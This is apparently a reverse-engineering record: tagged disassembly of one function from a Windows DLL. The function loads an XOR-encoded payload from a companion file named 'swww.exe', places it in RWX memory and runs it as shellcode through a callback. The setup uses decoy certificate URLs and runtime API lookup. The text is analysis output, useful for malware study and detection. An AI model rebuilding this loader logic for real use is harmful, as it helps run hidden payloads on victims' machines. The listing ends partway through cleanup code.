Function at 0x180001010
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Execute shellcode via indirect call
Generate random numbers via rtlgenrandom
Link many functions at runtime
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x798
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x710], 0xfffffffffffffffe
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x238], 0x1b
mov qword [rbp + 0x240], 0x1f
movups xmm0, xmmword [str.http:__sf.symcb.com_sf.crt0]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x1800330e6]
movups xmmword [rax + 0xb], xmm0
mov byte [rax + 0x1b], 0
mov qword [rbp + 0x228], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x258], 0x1c
mov qword [rbp + 0x260], 0x1f
movups xmm0, xmmword [0x180033330]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [str.http:__www.symauth.com_rpa00]
movups xmmword [rax], xmm0
mov byte [rax + 0x1c], 0
mov qword [rbp + 0x248], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x278], 0x17
mov qword [rbp + 0x280], 0x1f
movups xmm0, xmmword [str.http:__ocsp.thawte.com0]
movups xmmword [rax], xmm0
movabs rcx, 0x306d6f632e657477
mov qword [rax + 0xf], rcx
mov byte [rax + 0x17], 0
mov qword [rbp + 0x268], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x298], 0x1c
mov qword [rbp + 0x2a0], 0x1f
movups xmm0, xmmword [0x180032ff5]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [str.http:__sv.symcb.com_sv.crl0a]
movups xmmword [rax], xmm0
mov byte [rax + 0x1c], 0
mov qword [rbp + 0x288], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x2b8], 0x20
mov qword [rbp + 0x2c0], 0x2f
movups xmm0, xmmword [0x18003328e]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__s1.symcb.com_pca3_g5.crl0]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], 0
mov qword [rbp + 0x2a8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x2d8], 0x1f
mov qword [rbp + 0x2e0], 0x1f
movups xmm0, xmmword [0x1800331d0]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.http:__ts_ocsp.ws.symantec.com0]
movups xmmword [rax], xmm0
mov byte [rax + 0x1f], 0
mov qword [rbp + 0x2c8], rax
mov ecx, 0x40
call fcn.180005234
mov qword [rbp + 0x2f8], 0x30
mov qword [rbp + 0x300], 0x3f
movups xmm0, xmmword [0x180033151]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x180033141]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ts_aia.ws.symantec.com_sha256_tss_ca.cer0]
movups xmmword [rax], xmm0
mov byte [rax + 0x30], 0
mov qword [rbp + 0x2e8], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x318], 0x2b
mov qword [rbp + 0x320], 0x2f
movups xmm0, xmmword [0x180033413]
movups xmmword [rax + 0x1b], xmm0
movups xmm0, xmmword [0x180033408]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__www.w3.org_1999_02_22_rdf_syntax_ns]
movups xmmword [rax], xmm0
mov byte [rax + 0x2b], 0
mov qword [rbp + 0x308], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x338], 0x1f
mov qword [rbp + 0x340], 0x1f
movups xmm0, xmmword [0x180033350]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.http:__ns.adobe.com_xap_1.0_mm_]
movups xmmword [rax], xmm0
mov byte [rax + 0x1f], 0
mov qword [rbp + 0x328], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x358], 0x2e
mov qword [rbp + 0x360], 0x2f
movups xmm0, xmmword [0x180033442]
movups xmmword [rax + 0x1e], xmm0
movups xmm0, xmmword [0x180033434]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ns.adobe.com_xap_1.0_sType_ResourceRef]
movups xmmword [rax], xmm0
mov byte [rax + 0x2e], 0
mov qword [rbp + 0x348], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x378], 0x1c
mov qword [rbp + 0x380], 0x1f
movups xmm0, xmmword [0x18003336d]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [str.http:__ns.adobe.com_xap_1.0_]
movups xmmword [rax], xmm0
mov byte [rax + 0x1c], 0
mov qword [rbp + 0x368], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x398], 0x1d
mov qword [rbp + 0x3a0], 0x1f
movups xmm0, xmmword [0x180033104]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.https:__www.verisign.com_cps0]
movups xmmword [rax], xmm0
mov byte [rax + 0x1d], 0
mov qword [rbp + 0x388], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x3b8], 0x1c
mov qword [rbp + 0x3c0], 0x1f
movups xmm0, xmmword [0x180032fd8]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [str.https:__www.verisign.com_rpa]
movups xmmword [rax], xmm0
mov byte [rax + 0x1c], 0
mov qword [rbp + 0x3a8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x3d8], 0x1b
mov qword [rbp + 0x3e0], 0x1f
movups xmm0, xmmword [0x1800330ca]
movups xmmword [rax + 0xb], xmm0
movups xmm0, xmmword [str.http:__sv.symcb.com_sv.crt0]
movups xmmword [rax], xmm0
mov byte [rax + 0x1b], 0
mov qword [rbp + 0x3c8], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x3f8], 0x2f
mov qword [rbp + 0x400], 0x2f
movups xmm0, xmmword [0x18003326d]
movups xmmword [rax + 0x1f], xmm0
movups xmm0, xmmword [0x18003325e]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__crl.thawte.com_ThawteTimestampingCA.crl0]
movups xmmword [rax], xmm0
mov byte [rax + 0x2f], 0
mov qword [rbp + 0x3e8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x418], 0x19
mov qword [rbp + 0x420], 0x1f
movups xmm0, xmmword [0x1800333e7]
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [str.https:__d.symcb.com_cps0_]
movups xmmword [rax], xmm0
mov byte [rax + 0x19], 0
mov qword [rbp + 0x408], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x438], 0x20
mov qword [rbp + 0x440], 0x2f
movups xmm0, xmmword [0x18003304d]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ts_ocsp.ws.symantec.com07]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], 0
mov qword [rbp + 0x428], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x458], 0x26
mov qword [rbp + 0x460], 0x2f
movups xmm0, xmmword [0x180033206]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__s.symcb.com_universal_root.crl0]
movups xmmword [rax], xmm0
movabs rcx, 0x306c72632e746f6f
mov qword [rax + 0x1e], rcx
mov byte [rax + 0x26], 0
mov qword [rbp + 0x448], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x478], 0x25
mov qword [rbp + 0x480], 0x2f
movups xmm0, xmmword [0x1800330a9]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__logo.verisign.com_vslogo.gif04]
movups xmmword [rax], xmm0
movabs rcx, 0x34306669672e6f67
mov qword [rax + 0x1d], rcx
mov byte [rax + 0x25], 0
mov qword [rbp + 0x468], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x498], 0x15
mov qword [rbp + 0x4a0], 0x1f
movups xmm0, xmmword [str.http:__sf.symcd.com0]
movups xmmword [rax], xmm0
movabs rsi, 0x26306d6f632e6463
mov qword [rax + 0xd], rsi
mov byte [rax + 0x15], 0
mov qword [rbp + 0x488], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x4b8], 0x2c
mov qword [rbp + 0x4c0], 0x2f
movups xmm0, xmmword [0x18003317e]
movups xmmword [rax + 0x1c], xmm0
movups xmm0, xmmword [0x180033172]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ts_aia.ws.symantec.com_tss_ca_g2.cer0]
movups xmmword [rax], xmm0
mov byte [rax + 0x2c], 0
mov qword [rbp + 0x4a8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x4d8], 0x1d
mov qword [rbp + 0x4e0], 0x1f
movups xmm0, xmmword [0x1800332d9]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.https:__www.verisign.com_rpa0]
movups xmmword [rax], xmm0
mov byte [rax + 0x1d], 0
mov qword [rbp + 0x4c8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x4f8], 0x19
mov qword [rbp + 0x500], 0x1f
movups xmm0, xmmword [0x180033198]
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [str.http:__ocsp.verisign.com0]
movups xmmword [rax], xmm0
mov byte [rax + 0x19], 0
mov qword [rbp + 0x4e8], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x518], 0x25
mov qword [rbp + 0x520], 0x2f
movups xmm0, xmmword [0x180033083]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__crl.verisign.com_pca3_g5.crl04]
movups xmmword [rax], xmm0
movabs rcx, 0x34306c72632e3567
mov qword [rax + 0x1d], rcx
mov byte [rax + 0x25], 0
mov qword [rbp + 0x508], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x538], 0x1c
mov qword [rbp + 0x540], 0x1f
movups xmm0, xmmword [0x180033012]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [str.http:__sf.symcb.com_sf.crl0a]
movups xmmword [rax], xmm0
mov byte [rax + 0x1c], 0
mov qword [rbp + 0x528], rax
mov ecx, 0x40
call fcn.180005234
mov qword [rbp + 0x558], 0x30
mov qword [rbp + 0x560], 0x3f
movups xmm0, xmmword [0x18003323d]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x18003322d]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ts_crl.ws.symantec.com_sha256_tss_ca.crl0]
movups xmmword [rax], xmm0
mov byte [rax + 0x30], 0
mov qword [rbp + 0x548], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x578], 0x15
mov qword [rbp + 0x580], 0x1f
movups xmm0, xmmword [str.http:__sv.symcd.com0]
movups xmmword [rax], xmm0
mov qword [rax + 0xd], rsi
mov byte [rax + 0x15], 0
mov qword [rbp + 0x568], rax
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x598], 0x2c
mov qword [rbp + 0x5a0], 0x2f
movups xmm0, xmmword [0x1800332bb]
movups xmmword [rax + 0x1c], xmm0
movups xmm0, xmmword [0x1800332af]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__ts_crl.ws.symantec.com_tss_ca_g2.crl0]
movups xmmword [rax], xmm0
mov byte [rax + 0x2c], 0
mov qword [rbp + 0x588], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x5b8], 0x14
mov qword [rbp + 0x5c0], 0x1f
movups xmm0, xmmword [str.http:__s2.symcb.com0]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x306d6f63
mov byte [rax + 0x14], 0
mov qword [rbp + 0x5a8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x5d8], 0x18
mov qword [rbp + 0x5e0], 0x1f
movups xmm0, xmmword [str.https:__d.symcb.com_rpa0]
movups xmmword [rax], xmm0
movabs rcx, 0x306170722f6d6f63
mov qword [rax + 0x10], rcx
mov byte [rax + 0x18], 0
mov qword [rbp + 0x5c8], rax
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x5f8], 0x19
mov qword [rbp + 0x600], 0x1f
movups xmm0, xmmword [0x18003302c]
movups xmmword [rax + 9], xmm0
movups xmm0, xmmword [str.https:__d.symcb.com_rpa0_]
movups xmmword [rax], xmm0
mov byte [rax + 0x19], 0
mov qword [rbp + 0x5e8], rax
mov qword [rbp + 0x660], 0
mov qword [rbp + 0x670], 0
mov qword [rbp + 0x678], 0xf
mov byte [rbp + 0x660], 0
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x670], 0x14
mov qword [rbp + 0x678], 0x1f
movups xmm0, xmmword [str.http:__s.symcd.com06]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x36306d6f
mov byte [rax + 0x14], 0
mov qword [rbp + 0x660], rax
mov qword [rbp + 0x680], 0
mov qword [rbp + 0x690], 0
mov qword [rbp + 0x698], 0xf
mov byte [rbp + 0x680], 0
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x690], 0x1b
mov qword [rbp + 0x698], 0x1f
movups xmm0, xmmword [0x180033120]
movups xmmword [rax + 0xb], xmm0
movups xmm0, xmmword [str.http:__www.symauth.com_cps0]
movups xmmword [rax], xmm0
mov byte [rax + 0x1b], 0
mov qword [rbp + 0x680], rax
mov qword [rbp + 0x6a0], 0
mov qword [rbp + 0x6b0], 0
mov qword [rbp + 0x6b8], 0xf
mov byte [rbp + 0x6a0], 0
mov ecx, 0x30
call fcn.180005234
mov qword [rbp + 0x6b0], 0x20
mov qword [rbp + 0x6b8], 0x2f
movups xmm0, xmmword [0x180033313]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.http:__crash.browser.qq.com:8080]
movups xmmword [rax], xmm0
mov byte [rax + 0x20], 0
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x6c0], 0
mov qword [rbp + 0x6d0], 0
mov qword [rbp + 0x6d8], 0xf
mov byte [rbp + 0x6c0], 0
mov ecx, 0x50
call fcn.180005234
mov qword [rbp + 0x6d0], 0x42
mov qword [rbp + 0x6d8], 0x4f
movups xmm0, xmmword [0x180032fb9]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x180032fa9]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x180032f99]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [str.D:RDMprojects48078chrome_srcoutRelease_x86BugReport.exe.pdb]
movups xmmword [rax], xmm0
mov word [rax + 0x40], 0x6264
mov byte [rax + 0x42], 0
mov qword [rbp + 0x6c0], rax
movabs rax, 0x6c6c642e32336c
mov qword [rbp + 0x61d], rax
movabs rax, 0x32336c656e72654b
mov qword [rbp + 0x618], rax
mov r14, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [rbp + 0x618]
call r14
mov rbx, rax
movaps xmm0, xmmword [str.VirtualAllocExNuma]
movaps xmmword [rbp + 0x1d0], xmm0
mov dword [rbp + 0x1df], 0x616d75
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x1d0]
mov rcx, rax
call rsi
movaps xmm0, xmmword [0x180028030]
movaps xmmword [rbp + 0x1f0], xmm0
mov dword [rbp + 0x1ff], 0x41656d
lea rdx, [rbp + 0x1f0]
mov rcx, rbx
call rsi
movaps xmm0, xmmword [str.VirtualProtect]
movaps xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call rsi
mov qword [rbp + 0x648], rax
movabs rax, 0x666f727072776f70
mov qword [rbp + 0x6e0], rax
mov byte [rbp + 0x6e8], 0
lea rcx, [rbp + 0x6e0]
call r14
movabs rcx, 0x73656d65686353
mov qword [rbp + 0x60f], rcx
movabs rcx, 0x537277506d756e45
mov qword [rbp + 0x608], rcx
lea rdx, [rbp + 0x608]
mov rcx, rax
call rsi
mov rdi, rax
movabs rax, 0x6c6c642e323369
mov qword [rbp + 0x62d], rax
movabs rax, 0x3233697061766441
mov qword [rbp + 0x628], rax
lea rcx, [rbp + 0x628]
call r14
movaps xmm0, xmmword [str.SystemFunction036]
movaps xmmword [rbp + 0x210], xmm0
mov word [rbp + 0x220], 0x36
lea rdx, [rbp + 0x210]
mov rcx, rax
call rsi
movabs rax, 0x6f6c6c4170616548
mov qword [rbp + 0x650], rax
mov word [rbp + 0x658], 0x63
lea rdx, [rbp + 0x650]
mov rcx, rbx
call rsi
mov r15, rax
movabs rax, 0x65724670616548
mov qword [rbp + 0x640], rax
lea rdx, [rbp + 0x640]
mov rcx, rbx
call rsi
mov rbx, rax
lea rsi, [rbp + 0xb0]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rcx, rsi
mov edx, 0x5c
call fcn.18000a9c0
test rax, rax
je 0x180001be2
mov byte [rax + 1], 0
lea r8, str._swww.exe
lea rsi, [rbp - 0x60]
lea r9, [rbp + 0xb0]
mov edx, 0x104
mov rcx, rsi
call fcn.180003160
lea rdx, [0x180032f86]
mov rcx, rsi
call fcn.18000e794
mov rsi, rax
mov rcx, rax
xor edx, edx
mov r8d, 2
call fcn.18000d5d8
mov rcx, rsi
call fcn.18000ed18
mov r13d, eax
movsxd r12, eax
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.18000d5d8
mov rcx, r12
call fcn.18000f6a0
mov r14, rax
mov r8d, 1
mov rcx, rax
mov rdx, r12
mov r9, rsi
call fcn.18000ea18
mov rcx, rsi
call fcn.18000e1c4
xor ecx, ecx
call fcn.18000e008
mov ecx, eax
call fcn.180012138
xorps xmm0, xmm0
movaps xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x700], 0
mov ecx, 0x20
call fcn.180005234
mov qword [rbp + 0x6f0], rax
mov rcx, rax
add rcx, 0x20
mov qword [rbp + 0x700], rcx
movups xmm0, xmmword [0x1800280bc]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1800280ac]
movups xmmword [rax], xmm0
mov qword [rbp + 0x6f8], rcx
cmp r13d, 0x20
jae 0x180001ce9
lea rcx, [0x18003c320]
lea rdx, str.Entry_sequence_not_found.
call fcn.1800031f0
mov rcx, rax
call fcn.180003610
jmp 0x180001e83
add r12, 0xffffffffffffffe0
lea rcx, [r14 + 3]
xor esi, esi
jmp 0x180001d0b
inc rsi
inc rcx
cmp rsi, r12
ja 0x180001cc9
xor edx, edx
nop dword [rax]
movzx r8d, byte [rcx + rdx - 3]
cmp r8b, byte [rax + rdx]
jne 0x180001d00
movzx r8d, byte [rcx + rdx - 2]
cmp r8b, byte [rax + rdx + 1]
jne 0x180001d00
movzx r8d, byte [rcx + rdx - 1]
cmp r8b, byte [rax + rdx + 2]
jne 0x180001d00
movzx r8d, byte [rcx + rdx]
cmp r8b, byte [rax + rdx + 3]
jne 0x180001d00
add rdx, 4
cmp rdx, 0x20
jne 0x180001d10
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x4b035
mov rcx, rax
mov edx, 8
call r15
mov r15, rax
test rax, rax
je 0x180001e68
mov rdx, r14
add rdx, rsi
mov r8d, 0x4b035
mov rcx, r15
call fcn.18000a180
mov eax, 0x30
movaps xmm0, xmmword [0x1800280d0]
nop
movups xmm1, xmmword [r15 + rax - 0x30]
movups xmm2, xmmword [r15 + rax - 0x20]
xorps xmm1, xmm0
xorps xmm2, xmm0
movups xmmword [r15 + rax - 0x30], xmm1
movups xmmword [r15 + rax - 0x20], xmm2
cmp rax, 0x4b030
je 0x180001dd8
movups xmm1, xmmword [r15 + rax - 0x10]
movups xmm2, xmmword [r15 + rax]
xorps xmm1, xmm0
xorps xmm2, xmm0
movups xmmword [r15 + rax - 0x10], xmm1
movups xmmword [r15 + rax], xmm2
add rax, 0x40
jmp 0x180001d90
movsd xmm0, qword [r15 + 0x4b020]
movaps xmm1, xmmword [0x1800280e0]
xorps xmm0, xmm1
movsd xmm2, qword [r15 + 0x4b028]
xorps xmm2, xmm1
movlhps xmm0, xmm2
movups xmmword [r15 + 0x4b020], xmm0
xor byte [r15 + 0x4b030], 0x1f
xor byte [r15 + 0x4b031], 0x1f
xor byte [r15 + 0x4b032], 0x1f
xor byte [r15 + 0x4b033], 0x1f
xor byte [r15 + 0x4b034], 0x1f
mov rcx, r14
call fcn.18000eccc
lea r9, [rbp + 0x63c]
mov edx, 0x4b035
mov rcx, r15
mov r8d, 0x40
call qword [rbp + 0x648]
mov rcx, r15
xor edx, edx
call rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor esi, esi
mov rcx, rax
xor edx, edx
mov r8, r15
call rbx
jmp 0x180001e90
lea rcx, [0x18003c320]
lea rdx, str.Memory_allocation_failed.
call fcn.1800031f0
mov rcx, rax
call fcn.180003610
mov rcx, r14
call fcn.18000eccc
mov esi, 1
mov rcx, qword [rbp + 0x6f0]
test rcx, rcx
je 0x180001ed0
mov rdx, qword [rbp + 0x700]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x180001ecb
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x18000284d
add rdx, 0x27
mov rcx, rax
call fcn.180005278
mov rax, qword [rbp + 0x6d8]
cmp rax, 0x10
jb 0x180001f15
mov rcx, qword [rbp + 0x6c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001f10
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x6b8]
cmp rax, 0x10
jb 0x180001f5a
mov rcx, qword [rbp + 0x6a0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001f55
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x698]
cmp rax, 0x10
jb 0x180001f9f
mov rcx, qword [rbp + 0x680]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001f9a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x678]
cmp rax, 0x10
jb 0x180001fe4
mov rcx, qword [rbp + 0x660]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180001fdf
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x600]
cmp rax, 0x10
jb 0x180002029
mov rcx, qword [rbp + 0x5e8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002024
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x5e0]
cmp rax, 0x10
jb 0x18000206e
mov rcx, qword [rbp + 0x5c8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002069
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x5c0]
cmp rax, 0x10
jb 0x1800020b3
mov rcx, qword [rbp + 0x5a8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800020ae
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x5a0]
cmp rax, 0x10
jb 0x1800020f8
mov rcx, qword [rbp + 0x588]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800020f3
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x580]
cmp rax, 0x10
jb 0x18000213d
mov rcx, qword [rbp + 0x568]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002138
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x560]
cmp rax, 0x10
jb 0x180002182
mov rcx, qword [rbp + 0x548]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000217d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x540]
cmp rax, 0x10
jb 0x1800021c7
mov rcx, qword [rbp + 0x528]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800021c2
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x520]
cmp rax, 0x10
jb 0x18000220c
mov rcx, qword [rbp + 0x508]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002207
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x500]
cmp rax, 0x10
jb 0x180002251
mov rcx, qword [rbp + 0x4e8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000224c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x4e0]
cmp rax, 0x10
jb 0x180002296
mov rcx, qword [rbp + 0x4c8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002291
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x4c0]
cmp rax, 0x10
jb 0x1800022db
mov rcx, qword [rbp + 0x4a8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800022d6
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x4a0]
cmp rax, 0x10
jb 0x180002320
mov rcx, qword [rbp + 0x488]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000231b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x480]
cmp rax, 0x10
jb 0x180002365
mov rcx, qword [rbp + 0x468]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002360
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x460]
cmp rax, 0x10
jb 0x1800023aa
mov rcx, qword [rbp + 0x448]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800023a5
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x440]
cmp rax, 0x10
jb 0x1800023ef
mov rcx, qword [rbp + 0x428]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800023ea
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x420]
cmp rax, 0x10
jb 0x180002434
mov rcx, qword [rbp + 0x408]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000242f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x400]
cmp rax, 0x10
jb 0x180002479
mov rcx, qword [rbp + 0x3e8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002474
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x3e0]
cmp rax, 0x10
jb 0x1800024be
mov rcx, qword [rbp + 0x3c8]
lea rdx, [rax + 1]
